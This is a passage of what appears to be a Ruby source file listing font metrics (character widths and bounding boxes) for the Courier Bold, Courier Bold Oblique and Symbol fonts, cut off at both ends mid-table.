599, 622] }, '&' => { wx: 600, boundingbox: [87, -15, 580, 543] }, \"'\" => { wx: 600, boundingbox: [283, 328, 495, 562] }, '(' => { wx: 600, boundingbox: [313, -108, 572, 622] }, ')' => { wx: 600, boundingbox: [137, -108, 396, 622] }, '*' => { wx: 600, boundingbox: [212, 257, 580, 607] }, '+' => { wx: 600, boundingbox: [129, 44, 580, 470] }, ',' => { wx: 600, boundingbox: [157, -112, 370, 122] }, '-' => { wx: 600, boundingbox: [152, 231, 558, 285] }, '.' => { wx: 600, boundingbox: [238, -15, 382, 109] }, '/' => { wx: 600, boundingbox: [112, -80, 604, 629] }, '0' => { wx: 600, boundingbox: [154, -15, 575, 622] }, '1' => { wx: 600, boundingbox: [98, 0, 515, 622] }, '2' => { wx: 600, boundingbox: [70, 0, 568, 622] }, '3' => { wx: 600, boundingbox: [82, -15, 538, 622] }, '4' => { wx: 600, boundingbox: [108, 0, 541, 622] }, '5' => { wx: 600, boundingbox: [99, -15, 589, 607] }, '6' => { wx: 600, boundingbox: [155, -15, 629, 622] }, '7' => { wx: 600, boundingbox: [182, 0, 612, 607] }, '8' => { wx: 600, boundingbox: [132, -15, 588, 622] }, '9' => { wx: 600, boundingbox: [93, -15, 574, 622] }, ':' => { wx: 600, boundingbox: [238, -15, 441, 385] }, ';' => { wx: 600, boundingbox: [157, -112, 441, 385] }, '<' => { wx: 600, boundingbox: [96, 42, 610, 472] }, '=' => { wx: 600, boundingbox: [109, 138, 600, 376] }, '>' => { wx: 600, boundingbox: [85, 42, 599, 472] }, '?' => { wx: 600, boundingbox: [222, -15, 583, 572] }, '@' => { wx: 600, boundingbox: [127, -15, 582, 622] }, 'A' => { wx: 600, boundingbox: [3, 0, 607, 562] }, 'B' => { wx: 600, boundingbox: [43, 0, 616, 562] }, 'C' => { wx: 600, boundingbox: [93, -18, 655, 580] }, 'D' => { wx: 600, boundingbox: [43, 0, 645, 562] }, 'E' => { wx: 600, boundingbox: [53, 0, 660, 562] }, 'F' => { wx: 600, boundingbox: [53, 0, 660, 562] }, 'G' => { wx: 600, boundingbox: [83, -18, 645, 580] }, 'H' => { wx: 600, boundingbox: [32, 0, 687, 562] }, 'I' => { wx: 600, boundingbox: [96, 0, 623, 562] }, 'J' => { wx: 600, boundingbox: [52, -18, 685, 562] }, 'K' => { wx: 600, boundingbox: [38, 0, 671, 562] }, 'L' => { wx: 600, boundingbox: [47, 0, 607, 562] }, 'M' => { wx: 600, boundingbox: [4, 0, 715, 562] }, 'N' => { wx: 600, boundingbox: [7, -13, 712, 562] }, 'O' => { wx: 600, boundingbox: [94, -18, 625, 580] }, 'P' => { wx: 600, boundingbox: [79, 0, 644, 562] }, 'Q' => { wx: 600, boundingbox: [95, -138, 625, 580] }, 'R' => { wx: 600, boundingbox: [38, 0, 598, 562] }, 'S' => { wx: 600, boundingbox: [76, -20, 650, 580] }, 'T' => { wx: 600, boundingbox: [108, 0, 665, 562] }, 'U' => { wx: 600, boundingbox: [125, -18, 702, 562] }, 'V' => { wx: 600, boundingbox: [105, -13, 723, 562] }, 'W' => { wx: 600, boundingbox: [106, -13, 722, 562] }, 'X' => { wx: 600, boundingbox: [23, 0, 675, 562] }, 'Y' => { wx: 600, boundingbox: [133, 0, 695, 562] }, 'Z' => { wx: 600, boundingbox: [86, 0, 610, 562] }, '[' => { wx: 600, boundingbox: [246, -108, 574, 622] }, '\\\\' => { wx: 600, boundingbox: [249, -80, 468, 629] }, ']' => { wx: 600, boundingbox: [135, -108, 463, 622] }, '^' => { wx: 600, boundingbox: [175, 354, 587, 622] }, '_' => { wx: 600, boundingbox: [-27, -125, 584, -75] }, '`' => { wx: 600, boundingbox: [343, 328, 457, 562] }, 'a' => { wx: 600, boundingbox: [76, -15, 569, 441] }, 'b' => { wx: 600, boundingbox: [29, -15, 625, 629] }, 'c' => { wx: 600, boundingbox: [106, -15, 608, 441] }, 'd' => { wx: 600, boundingbox: [85, -15, 640, 629] }, 'e' => { wx: 600, boundingbox: [106, -15, 598, 441] }, 'f' => { wx: 600, boundingbox: [114, 0, 662, 629] }, 'g' => { wx: 600, boundingbox: [61, -157, 657, 441] }, 'h' => { wx: 600, boundingbox: [33, 0, 592, 629] }, 'i' => { wx: 600, boundingbox: [95, 0, 515, 657] }, 'j' => { wx: 600, boundingbox: [52, -157, 550, 657] }, 'k' => { wx: 600, boundingbox: [58, 0, 633, 629] }, 'l' => { wx: 600, boundingbox: [95, 0, 515, 629] }, 'm' => { wx: 600, boundingbox: [-5, 0, 615, 441] }, 'n' => { wx: 600, boundingbox: [26, 0, 585, 441] }, 'o' => { wx: 600, boundingbox: [102, -15, 588, 441] }, 'p' => { wx: 600, boundingbox: [-24, -157, 605, 441] }, 'q' => { wx: 600, boundingbox: [85, -157, 682, 441] }, 'r' => { wx: 600, boundingbox: [60, 0, 636, 441] }, 's' => { wx: 600, boundingbox: [78, -15, 584, 441] }, 't' => { wx: 600, boundingbox: [167, -15, 561, 561] }, 'u' => { wx: 600, boundingbox: [101, -15, 572, 426] }, 'v' => { wx: 600, boundingbox: [90, -10, 681, 426] }, 'w' => { wx: 600, boundingbox: [76, -10, 695, 426] }, 'x' => { wx: 600, boundingbox: [20, 0, 655, 426] }, 'y' => { wx: 600, boundingbox: [-4, -157, 683, 426] }, 'z' => { wx: 600, boundingbox: [99, 0, 593, 426] }, '{' => { wx: 600, boundingbox: [233, -108, 569, 622] }, '|' => { wx: 600, boundingbox: [222, -250, 485, 750] }, '}' => { wx: 600, boundingbox: [140, -108, 477, 622] }, '~' => { wx: 600, boundingbox: [116, 197, 600, 320] }, \"\\u00A1\" => { wx: 600, boundingbox: [225, -157, 445, 430] }, \"\\u00A2\" => { wx: 600, boundingbox: [151, -49, 588, 614] }, \"\\u00A3\" => { wx: 600, boundingbox: [124, -21, 621, 611] }, \"\\u00A4\" => { wx: 600, boundingbox: [84, -57, 646, 665] }, \"\\u00A5\" => { wx: 600, boundingbox: [120, 0, 693, 562] }, \"\\u00A6\" => { wx: 600, boundingbox: [-26, -143, 671, 622] }, \"\\u00A7\" => { wx: 600, boundingbox: [104, -78, 590, 580] }, \"\\u00A8\" => { wx: 600, boundingbox: [94, 58, 628, 506] }, \"\\u00A9\" => { wx: 600, boundingbox: [345, 328, 460, 562] }, \"\\u00AA\" => { wx: 600, boundingbox: [262, 328, 541, 562] }, \"\\u00AB\" => { wx: 600, boundingbox: [92, 70, 652, 446] }, \"\\u00AC\" => { wx: 600, boundingbox: [204, 70, 540, 446] }, \"\\u00AD\" => { wx: 600, boundingbox: [170, 70, 506, 446] }, \"\\u00AE\" => { wx: 600, boundingbox: [3, 0, 619, 629] }, \"\\u00AF\" => { wx: 600, boundingbox: [3, 0, 619, 629] }, \"\\u00B1\" => { wx: 600, boundingbox: [124, 231, 586, 285] }, \"\\u00B2\" => { wx: 600, boundingbox: [217, -78, 546, 580] }, \"\\u00B3\" => { wx: 600, boundingbox: [163, -78, 546, 580] }, \"\\u00B4\" => { wx: 600, boundingbox: [275, 189, 434, 327] }, \"\\u00B6\" => { wx: 600, boundingbox: [100, -78, 630, 562] }, \"\\u00B7\" => { wx: 600, boundingbox: [224, 130, 485, 383] }, \"\\u00B8\" => { wx: 600, boundingbox: [185, -134, 397, 100] }, \"\\u00B9\" => { wx: 600, boundingbox: [115, -134, 478, 100] }, \"\\u00BA\" => { wx: 600, boundingbox: [213, 328, 576, 562] }, \"\\u00BB\" => { wx: 600, boundingbox: [58, 70, 618, 446] }, \"\\u00BC\" => { wx: 600, boundingbox: [46, -15, 575, 111] }, \"\\u00BD\" => { wx: 600, boundingbox: [59, -15, 627, 622] }, \"\\u00BF\" => { wx: 600, boundingbox: [105, -157, 466, 430] }, \"\\u00C1\" => { wx: 600, boundingbox: [294, 497, 484, 672] }, \"\\u00C2\" => { wx: 600, boundingbox: [348, 497, 612, 672] }, \"\\u00C3\" => { wx: 600, boundingbox: [229, 477, 581, 654] }, \"\\u00C4\" => { wx: 600, boundingbox: [212, 489, 629, 606] }, \"\\u00C5\" => { wx: 600, boundingbox: [232, 525, 600, 565] }, \"\\u00C6\" => { wx: 600, boundingbox: [279, 501, 576, 609] }, \"\\u00C7\" => { wx: 600, boundingbox: [373, 537, 478, 640] }, \"\\u00C8\" => { wx: 600, boundingbox: [272, 537, 579, 640] }, \"\\u00CA\" => { wx: 600, boundingbox: [332, 463, 500, 627] }, \"\\u00CB\" => { wx: 600, boundingbox: [197, -151, 344, 10] }, \"\\u00CD\" => { wx: 600, boundingbox: [239, 497, 683, 672] }, \"\\u00CE\" => { wx: 600, boundingbox: [189, -172, 377, 4] }, \"\\u00CF\" => { wx: 600, boundingbox: [262, 492, 614, 669] }, \"\\u00D0\" => { wx: 600, boundingbox: [49, 231, 661, 285] }, \"\\u00E1\" => { wx: 600, boundingbox: [3, 0, 655, 562] }, \"\\u00E3\" => { wx: 600, boundingbox: [209, 249, 512, 580] }, \"\\u00E8\" => { wx: 600, boundingbox: [47, 0, 607, 562] }, \"\\u00E9\" => { wx: 600, boundingbox: [94, -80, 625, 629] }, \"\\u00EA\" => { wx: 600, boundingbox: [59, 0, 672, 562] }, \"\\u00EB\" => { wx: 600, boundingbox: [210, 249, 535, 580] }, \"\\u00F1\" => { wx: 600, boundingbox: [41, -15, 626, 441] }, \"\\u00F5\" => { wx: 600, boundingbox: [95, 0, 515, 426] }, \"\\u00F8\" => { wx: 600, boundingbox: [95, 0, 587, 629] }, \"\\u00F9\" => { wx: 600, boundingbox: [102, -80, 588, 506] }, \"\\u00FA\" => { wx: 600, boundingbox: [54, -15, 615, 441] }, \"\\u00FB\" => { wx: 600, boundingbox: [48, -15, 617, 629] }, \"\\xFF\" => { wx: 600, boundingbox: [0, 0, 0, 0] } }\n courier_boldoblique_metrics = { ' ' => { wx: 600, boundingbox: [0, 0, 0, 0] }, '!' => { wx: 600, boundingbox: [215, -15, 495, 572] }, '\"' => { wx: 600, boundingbox: [211, 277, 585, 562] }, '#' => { wx: 600, boundingbox: [88, -45, 641, 651] }, '$' => { wx: 600, boundingbox: [87, -126, 630, 666] }, '%' => { wx: 600, boundingbox: [101, -15, 625, 616] }, '&' => { wx: 600, boundingbox: [61, -15, 595, 543] }, \"'\" => { wx: 600, boundingbox: [229, 277, 543, 562] }, '(' => { wx: 600, boundingbox: [265, -102, 592, 616] }, ')' => { wx: 600, boundingbox: [117, -102, 444, 616] }, '*' => { wx: 600, boundingbox: [179, 219, 598, 601] }, '+' => { wx: 600, boundingbox: [114, 39, 596, 478] }, ',' => { wx: 600, boundingbox: [99, -111, 430, 174] }, '-' => { wx: 600, boundingbox: [143, 203, 567, 313] }, '.' => { wx: 600, boundingbox: [206, -15, 427, 171] }, '/' => { wx: 600, boundingbox: [90, -77, 626, 626] }, '0' => { wx: 600, boundingbox: [135, -15, 593, 616] }, '1' => { wx: 600, boundingbox: [93, 0, 562, 616] }, '2' => { wx: 600, boundingbox: [61, 0, 594, 616] }, '3' => { wx: 600, boundingbox: [71, -15, 571, 616] }, '4' => { wx: 600, boundingbox: [81, 0, 559, 616] }, '5' => { wx: 600, boundingbox: [77, -15, 621, 601] }, '6' => { wx: 600, boundingbox: [135, -15, 652, 616] }, '7' => { wx: 600, boundingbox: [147, 0, 622, 601] }, '8' => { wx: 600, boundingbox: [115, -15, 604, 616] }, '9' => { wx: 600, boundingbox: [75, -15, 592, 616] }, ':' => { wx: 600, boundingbox: [205, -15, 480, 425] }, ';' => { wx: 600, boundingbox: [99, -111, 481, 425] }, '<' => { wx: 600, boundingbox: [120, 15, 613, 501] }, '=' => { wx: 600, boundingbox: [96, 118, 614, 398] }, '>' => { wx: 600, boundingbox: [97, 15, 589, 501] }, '?' => { wx: 600, boundingbox: [183, -14, 592, 580] }, '@' => { wx: 600, boundingbox: [65, -15, 642, 616] }, 'A' => { wx: 600, boundingbox: [-9, 0, 632, 562] }, 'B' => { wx: 600, boundingbox: [30, 0, 630, 562] }, 'C' => { wx: 600, boundingbox: [74, -18, 675, 580] }, 'D' => { wx: 600, boundingbox: [30, 0, 664, 562] }, 'E' => { wx: 600, boundingbox: [25, 0, 670, 562] }, 'F' => { wx: 600, boundingbox: [39, 0, 684, 562] }, 'G' => { wx: 600, boundingbox: [74, -18, 675, 580] }, 'H' => { wx: 600, boundingbox: [20, 0, 700, 562] }, 'I' => { wx: 600, boundingbox: [77, 0, 643, 562] }, 'J' => { wx: 600, boundingbox: [58, -18, 721, 562] }, 'K' => { wx: 600, boundingbox: [21, 0, 692, 562] }, 'L' => { wx: 600, boundingbox: [39, 0, 636, 562] }, 'M' => { wx: 600, boundingbox: [-2, 0, 722, 562] }, 'N' => { wx: 600, boundingbox: [8, -12, 730, 562] }, 'O' => { wx: 600, boundingbox: [74, -18, 645, 580] }, 'P' => { wx: 600, boundingbox: [48, 0, 643, 562] }, 'Q' => { wx: 600, boundingbox: [83, -138, 636, 580] }, 'R' => { wx: 600, boundingbox: [24, 0, 617, 562] }, 'S' => { wx: 600, boundingbox: [54, -22, 673, 582] }, 'T' => { wx: 600, boundingbox: [86, 0, 679, 562] }, 'U' => { wx: 600, boundingbox: [101, -18, 716, 562] }, 'V' => { wx: 600, boundingbox: [84, 0, 733, 562] }, 'W' => { wx: 600, boundingbox: [79, 0, 738, 562] }, 'X' => { wx: 600, boundingbox: [12, 0, 690, 562] }, 'Y' => { wx: 600, boundingbox: [109, 0, 709, 562] }, 'Z' => { wx: 600, boundingbox: [62, 0, 637, 562] }, '[' => { wx: 600, boundingbox: [223, -102, 606, 616] }, '\\\\' => { wx: 600, boundingbox: [222, -77, 496, 626] }, ']' => { wx: 600, boundingbox: [103, -102, 486, 616] }, '^' => { wx: 600, boundingbox: [171, 250, 556, 616] }, '_' => { wx: 600, boundingbox: [-27, -125, 585, -75] }, '`' => { wx: 600, boundingbox: [297, 277, 487, 562] }, 'a' => { wx: 600, boundingbox: [61, -15, 593, 454] }, 'b' => { wx: 600, boundingbox: [13, -15, 636, 626] }, 'c' => { wx: 600, boundingbox: [81, -15, 631, 459] }, 'd' => { wx: 600, boundingbox: [60, -15, 645, 626] }, 'e' => { wx: 600, boundingbox: [81, -15, 605, 454] }, 'f' => { wx: 600, boundingbox: [83, 0, 677, 626] }, 'g' => { wx: 600, boundingbox: [40, -146, 674, 454] }, 'h' => { wx: 600, boundingbox: [18, 0, 615, 626] }, 'i' => { wx: 600, boundingbox: [77, 0, 546, 658] }, 'j' => { wx: 600, boundingbox: [36, -146, 580, 658] }, 'k' => { wx: 600, boundingbox: [33, 0, 643, 626] }, 'l' => { wx: 600, boundingbox: [77, 0, 546, 626] }, 'm' => { wx: 600, boundingbox: [-22, 0, 649, 454] }, 'n' => { wx: 600, boundingbox: [18, 0, 615, 454] }, 'o' => { wx: 600, boundingbox: [71, -15, 622, 454] }, 'p' => { wx: 600, boundingbox: [-32, -142, 622, 454] }, 'q' => { wx: 600, boundingbox: [60, -142, 685, 454] }, 'r' => { wx: 600, boundingbox: [47, 0, 655, 454] }, 's' => { wx: 600, boundingbox: [66, -17, 608, 459] }, 't' => { wx: 600, boundingbox: [118, -15, 567, 562] }, 'u' => { wx: 600, boundingbox: [70, -15, 592, 439] }, 'v' => { wx: 600, boundingbox: [70, 0, 695, 439] }, 'w' => { wx: 600, boundingbox: [53, 0, 712, 439] }, 'x' => { wx: 600, boundingbox: [6, 0, 671, 439] }, 'y' => { wx: 600, boundingbox: [-21, -142, 695, 439] }, 'z' => { wx: 600, boundingbox: [81, 0, 614, 439] }, '{' => { wx: 600, boundingbox: [203, -102, 595, 616] }, '|' => { wx: 600, boundingbox: [201, -250, 505, 750] }, '}' => { wx: 600, boundingbox: [114, -102, 506, 616] }, '~' => { wx: 600, boundingbox: [120, 153, 590, 356] }, \"\\u00A1\" => { wx: 600, boundingbox: [196, -146, 477, 449] }, \"\\u00A2\" => { wx: 600, boundingbox: [121, -49, 605, 614] }, \"\\u00A3\" => { wx: 600, boundingbox: [106, -28, 650, 611] }, \"\\u00A4\" => { wx: 600, boundingbox: [22, -60, 708, 661] }, \"\\u00A5\" => { wx: 600, boundingbox: [98, 0, 710, 562] }, \"\\u00A6\" => { wx: 600, boundingbox: [-57, -131, 702, 616] }, \"\\u00A7\" => { wx: 600, boundingbox: [74, -70, 620, 580] }, \"\\u00A8\" => { wx: 600, boundingbox: [77, 49, 644, 517] }, \"\\u00A9\" => { wx: 600, boundingbox: [303, 277, 493, 562] }, \"\\u00AA\" => { wx: 600, boundingbox: [190, 277, 594, 562] }, \"\\u00AB\" => { wx: 600, boundingbox: [62, 70, 639, 446] }, \"\\u00AC\" => { wx: 600, boundingbox: [195, 70, 545, 446] }, \"\\u00AD\" => { wx: 600, boundingbox: [165, 70, 514, 446] }, \"\\u00AE\" => { wx: 600, boundingbox: [12, 0, 644, 626] }, \"\\u00AF\" => { wx: 600, boundingbox: [12, 0, 644, 626] }, \"\\u00B1\" => { wx: 600, boundingbox: [108, 203, 602, 313] }, \"\\u00B2\" => { wx: 600, boundingbox: [175, -70, 586, 580] }, \"\\u00B3\" => { wx: 600, boundingbox: [121, -70, 587, 580] }, \"\\u00B4\" => { wx: 600, boundingbox: [248, 165, 461, 351] }, \"\\u00B6\" => { wx: 600, boundingbox: [61, -70, 700, 580] }, \"\\u00B7\" => { wx: 600, boundingbox: [196, 132, 523, 430] }, \"\\u00B8\" => { wx: 600, boundingbox: [144, -142, 458, 143] }, \"\\u00B9\" => { wx: 600, boundingbox: [34, -142, 560, 143] }, \"\\u00BA\" => { wx: 600, boundingbox: [119, 277, 645, 562] }, \"\\u00BB\" => { wx: 600, boundingbox: [71, 70, 647, 446] }, \"\\u00BC\" => { wx: 600, boundingbox: [35, -15, 587, 116] }, \"\\u00BD\" => { wx: 600, boundingbox: [-45, -15, 743, 616] }, \"\\u00BF\" => { wx: 600, boundingbox: [100, -146, 509, 449] }, \"\\u00C1\" => { wx: 600, boundingbox: [272, 508, 503, 661] }, \"\\u00C2\" => { wx: 600, boundingbox: [312, 508, 609, 661] }, \"\\u00C3\" => { wx: 600, boundingbox: [212, 483, 607, 657] }, \"\\u00C4\" => { wx: 600, boundingbox: [199, 493, 643, 636] }, \"\\u00C5\" => { wx: 600, boundingbox: [195, 505, 637, 585] }, \"\\u00C6\" => { wx: 600, boundingbox: [217, 468, 652, 631] }, \"\\u00C7\" => { wx: 600, boundingbox: [348, 498, 493, 638] }, \"\\u00C8\" => { wx: 600, boundingbox: [246, 498, 595, 638] }, \"\\u00CA\" => { wx: 600, boundingbox: [319, 481, 528, 678] }, \"\\u00CB\" => { wx: 600, boundingbox: [168, -206, 368, 0] }, \"\\u00CD\" => { wx: 600, boundingbox: [171, 488, 729, 661] }, \"\\u00CE\" => { wx: 600, boundingbox: [143, -199, 367, 0] }, \"\\u00CF\" => { wx: 600, boundingbox: [238, 493, 633, 667] }, \"\\u00D0\" => { wx: 600, boundingbox: [33, 203, 677, 313] }, \"\\u00E1\" => { wx: 600, boundingbox: [-29, 0, 708, 562] }, \"\\u00E3\" => { wx: 600, boundingbox: [188, 196, 526, 580] }, \"\\u00E8\" => { wx: 600, boundingbox: [39, 0, 636, 562] }, \"\\u00E9\" => { wx: 600, boundingbox: [48, -22, 673, 584] }, \"\\u00EA\" => { wx: 600, boundingbox: [26, 0, 701, 562] }, \"\\u00EB\" => { wx: 600, boundingbox: [188, 196, 543, 580] }, \"\\u00F1\" => { wx: 600, boundingbox: [21, -15, 652, 454] }, \"\\u00F5\" => { wx: 600, boundingbox: [77, 0, 546, 439] }, \"\\u00F8\" => { wx: 600, boundingbox: [77, 0, 587, 626] }, \"\\u00F9\" => { wx: 600, boundingbox: [54, -24, 638, 463] }, \"\\u00FA\" => { wx: 600, boundingbox: [18, -15, 662, 454] }, \"\\u00FB\" => { wx: 600, boundingbox: [22, -15, 629, 626] }, \"\\xFF\" => { wx: 600, boundingbox: [0, 0, 0, 0] } }\n symbol_metrics = { ' ' => { wx: 250, boundingbox: [0, 0, 0, 0] }, '!' => { wx: 333, boundingbox: [128, -17, 240, 672] }, '\"' => { wx: 713, boundingbox: [31, 0, 681, 705] }, '#' => { wx: 500, boundingbox: [20, -16, 481, 673] }, '$' => { wx: 549, boundingbox: [25, 0, 478, 707] }, '%' => { wx: 833, boundingbox: [63, -36, 771, 655] }, '&' => { wx: 778, boundingbox: [41, -18, 750, 661] }, \"'\" => { wx: 439, boundingbox: [48, -17, 414, 500] }, '(' => { wx: 333, boundingbox: [53, -191, 300, 673] }, ')' => { wx: 333, boundingbox: [30, -191, 277, 673] }, '*' => { wx: 500, boundingbox: [65, 134, 427, 551] }, '+' => { wx: 549, boundingbox: [10, 0, 539, 533] }, ',' => { wx: 250, boundingbox: [56, -152, 194, 104] }, '-' => { wx: 549, boundingbox: [11, 233, 535, 288] }, '.' => { wx: 250, boundingbox: [69, -17, 181, 95] }, '/' => { wx: 278, boundingbox: [0, -18, 254, 646] }, '0' => { wx: 500, boundingbox: [24, -14, 476, 685] }, '1' => { wx: 500, boundingbox: [117, 0, 390, 673] }, '2' => { wx: 500, boundingbox: [25, 0, 475, 685] }, '3' => { wx: 500, boundingbox: [43, -14, 435, 685] }, '4' => { wx: 500, boundingbox: [15, 0, 469, 685] }, '5' => { wx: 500, boundingbox: [32, -14, 445, 690] }, '6' => { wx: 500, boundingbox: [34, -14, 468, 685] }, '7' => { wx: 500, boundingbox: [24, -16, 448, 673] }, '8' => { wx: 500, boundingbox: [56, -14, 445, 685] }, '9' => { wx: 500, boundingbox: [30, -18, 459, 685] }, ':' => { wx: 278, boundingbox: [81, -17, 193, 460] }, ';' => { wx: 278, boundingbox: [83, -152, 221, 460] }, '<' => { wx: 549, boundingbox: [26, 0, 523, 522] }, '=' => { wx: 549, boundingbox: [11, 141, 537, 390] }, '>' => { wx: 549, boundingbox: [26, 0, 523, 522] }, '?' => { wx: 444, boundingbox: [70, -17, 412, 686] }, '@' => { wx: 549, boundingbox: [11, 0, 537, 475] }, 'A' => { wx: 722, boundingbox: [4, 0, 684, 673] }, 'B' => { wx: 667, boundingbox: [29, 0, 592, 673] }, 'C' => { wx: 722, boundingbox: [-9, 0, 704, 673] }, 'D' => { wx: 612, boundingbox: [6, 0, 608, 688] }, 'E' => { wx: 611, boundingbox: [32, 0, 617, 673] }, 'F' => { wx: 763, boundingbox: [26, 0, 741, 673] }, 'G' => { wx: 603, boundingbox: [24, 0, 609, 673] }, 'H' => { wx: 722, boundingbox: [39, 0, 729, 673] }, 'I' => { wx: 333, boundingbox: [32, 0, 316, 673] }, 'J' => { wx: 631, boundingbox: [18, -18, 623, 689] }, 'K' => { wx: 722, boundingbox: [35, 0, 722, 673] }, 'L' => { wx: 686, boundingbox: [6, 0, 680, 688] }, 'M' => { wx: 889, boundingbox: [28, 0, 887, 673] }, 'N' => { wx: 722, boundingbox: [29, -8, 720, 673] }, 'O' => { wx: 722, boundingbox: [41, -17, 715, 685] }, 'P' => { wx: 768, boundingbox: [25, 0, 745, 673] }, 'Q' => { wx: 741, boundingbox: [41, -17, 715, 685] }, 'R' => { wx: 556, boundingbox: [28, 0, 563, 673] }, 'S' => { wx: 592, boundingbox: [5, 0, 589, 673] }, 'T' => { wx: 611, boundingbox: [33, 0, 607, 673] }, 'U' => { wx: 690, boundingbox: [-8, 0, 694, 673] }, 'V' => { wx: 439, boundingbox: [40, -233, 436, 500] }, 'W' => { wx: 768, boundingbox: [34, 0, 736, 688] }, 'X' => { wx: 645, boundingbox: [40, 0, 599, 673] }, 'Y' => { wx: 795, boundingbox: [15, 0, 781, 684] }, 'Z' => { wx: 611, boundingbox: [44, 0, 636, 673] }, '[' => { wx: 333, boundingbox: [86, -155, 299, 674] }, '\\\\' => { wx: 863, boundingbox: [163, 0, 701, 487] }, ']' => { wx: 333, boundingbox: [33, -155, 246, 674] }, '^' => { wx: 658, boundingbox: [15, 0, 652, 674] }, '_' => { wx: 500, boundingbox: [-2, -125, 502, -75] }, '`' => { wx: 500, boundingbox: [480, 881, 1090, 917] }, 'a' => { wx: 631, boundingbox: [41, -18, 622, 500] }, 'b' => { wx: 549, boundingbox: [61, -223, 515, 741] }, 'c' => { wx: 549, boundingbox: [12, -231, 522, 499] }, 'd' => { wx: 494, boundingbox: [40, -19, 481, 740] }, 'e' => { wx: 439, boundingbox: [22, -19, 427, 502] }, 'f' => { wx: 521, boundingbox: [28, -224, 492, 673] }, 'g' => { wx: 411, boundingbox: [5, -225, 484, 499] }, 'h' => { wx: 603, boundingbox: [0, -202, 527, 514] }, 'i' => { wx: 329, boundingbox: [0, -17, 301, 503] }, 'j' => { wx: 603, boundingbox: [36, -224, 587, 499] }, 'k' => { wx: 549, boundingbox: [33, 0, 558, 501] }, 'l' => { wx: 549, boundingbox: [24, -17, 548, 739] }, 'm' => { wx: 576, boundingbox: [33, -223, 567, 500] }, 'n' => { wx: 521, boundingbox: [-9, -16, 475, 507] }, 'o' => { wx: 549, boundingbox: [35, -19, 501, 499] }, 'p' => { wx: 549, boundingbox: [10, -19, 530, 487] }, 'q' => { wx: 521, boundingbox: [43, -17, 485, 690] }, 'r' => { wx: 549, boundingbox: [50, -230, 490, 499] }, 's' => { wx: 603, boundingbox: [30, -21, 588, 500] }, 't' => { wx: 439, boundingbox: [10, -19, 418, 500] }, 'u' => { wx: 576, boundingbox: [7, -18, 535, 507] }, 'v' => { wx: 713, boundingbox: [12, -18, 671, 583] }, 'w' => { wx: 686, boundingbox: [42, -17, 684, 500] }, 'x' => { wx: 493, boundingbox: [27, -224, 469, 766] }, 'y' => { wx: 686, boundingbox: [12, -228, 701, 500] }, 'z' => { wx: 494, boundingbox: [60, -225, 467, 756] }, '{' => { wx: 480, boundingbox: [58, -183, 397, 673] }, '|' => { wx: 200, boundingbox: [65, -293, 135, 707] }, '}' => { wx: 480, boundingbox: [79, -183, 418, 673] }, '~' => { wx: 549, boundingbox: [17, 203, 529, 307] }, \"\\u00A0\" => { wx: 750, boundingbox: [20, -12, 714, 685] }, \"\\u00A1\" => { wx: 620, boundingbox: [-2, 0, 610, 685] }, \"\\u00A2\" => { wx: 247, boundingbox: [27, 459, 228, 735] }, \"\\u00A3\" => { wx: 549, boundingbox: [29, 0, 526, 639] }, \"\\u00A4\" => { wx: 167, boundingbox: [-180, -12, 340, 677] }, \"\\u00A5\" => { wx: 713, boundingbox: [26, 124, 688, 404] }, \"\\u00A6\" => { wx: 500, boundingbox: [2, -193, 494, 686] }, \"\\u00A7\" => { wx: 753, boundingbox: [86, -26, 660, 533] }, \"\\u00A8\" => { wx: 753, boundingbox: [142, -36, 600, 550] }, \"\\u00A9\" => { wx: 753, boundingbox: [117, -33, 631, 532] }, \"\\u00AA\" => { wx: 753, boundingbox: [113, -36, 629, 548] }, \"\\u00AB\" => { wx: 1042, boundingbox: [24, -15, 1024, 511] }, \"\\u00AC\" => { wx: 987, boundingbox: [32, -15, 942, 511] }, \"\\u00AD\" => { wx: 603, boundingbox: [45, 0, 571, 910] }, \"\\u00AE\" => { wx: 987, boundingbox: [49, -15, 959, 511] }, \"\\u00AF\" => { wx: 603, boundingbox: [45, -22, 571, 888] }, \"\\u00B0\" => { wx: 400, boundingbox: [50, 385, 350, 685] }, \"\\u00B1\" => { wx: 549, boundingbox: [10, 0, 539, 645] }, \"\\u00B2\" => { wx: 411, boundingbox: [20, 459, 413, 737] }, \"\\u00B3\" => { wx: 549, boundingbox: [29, 0, 526, 639] }, \"\\u00B4\" => { wx: 549, boundingbox: [17, 8, 533, 524] }, \"\\u00B5\" => { wx: 713, boundingbox: [27, 123, 639, 404] }, \"\\u00B6\" => { wx: 494, boundingbox: [26, -20, 462, 746] }, \"\\u00B7\" => { wx: 460, boundingbox: [50, 113, 410, 473] }, \"\\u00B8\" => { wx: 549, boundingbox: [10, 71, 536, 456] }, \"\\u00B9\" => { wx: 549, boundingbox: [15, -25, 540, 549] }, \"\\u00BA\" => { wx: 549, boundingbox: [14, 82, 538, 443] }, \"\\u00BB\" => { wx: 549, boundingbox: [14, 135, 527, 394] }, \"\\u00BC\" => { wx: 1000, boundingbox: [111, -17, 889, 95] }, \"\\u00BD\" => { wx: 603, boundingbox: [280, -120, 336, 1010] }, \"\\u00BE\" => { wx: 1000, boundingbox: [-60, 220, 1050, 276] }, \"\\u00BF\" => { wx: 658, boundingbox: [15, -16, 602, 629] }, \"\\u00C0\" => { wx: 823, boundingbox: [175, -18, 661, 658] }, \"\\u00C1\" => { wx: 686, boundingbox: [10, -53, 578, 740] }, \"\\u00C2\" => { wx: 795, boundingbox: [26, -15, 759, 734] }, \"\\u00C3\" => { wx: 987, boundingbox: [159, -211, 870, 573] }, \"\\u00C4\" => { wx: 768, boundingbox: [43, -17, 733, 673] }, \"\\u00C5\" => { wx: 768, boundingbox: [43, -15, 733, 675] }, \"\\u00C6\" => { wx: 823, boundingbox: [39, -24, 781, 719] }, \"\\u00C7\" => { wx: 768, boundingbox: [40, 0, 732, 509] }, \"\\u00C8\" => { wx: 768, boundingbox: [40, -17, 732, 492] }, \"\\u00C9\" => { wx: 713, boundingbox: [20, 0, 673, 470] }, \"\\u00CA\" => { wx: 713, boundingbox: [20, -125, 673, 470] }, \"\\u00CB\" => { wx: 713, boundingbox: [36, -70, 690, 540] }, \"\\u00CC\" => { wx: 713, boundingbox: [37, 0, 690, 470] }, \"\\u00CD\" => { wx: 713, boundingbox: [37, -125, 690, 470] }, \"\\u00CE\" => { wx: 713, boundingbox: [45, 0, 505, 468] }, \"\\u00CF\" => { wx: 713, boundingbox: [45, -58, 505, 555] }, \"\\u00D0\" => { wx: 768, boundingbox: [26, 0, 738, 673] }, \"\\u00D1\" => { wx: 713, boundingbox: [36, -19, 681, 718] }, \"\\u00D2\" => { wx: 790, boundingbox: [50, -17, 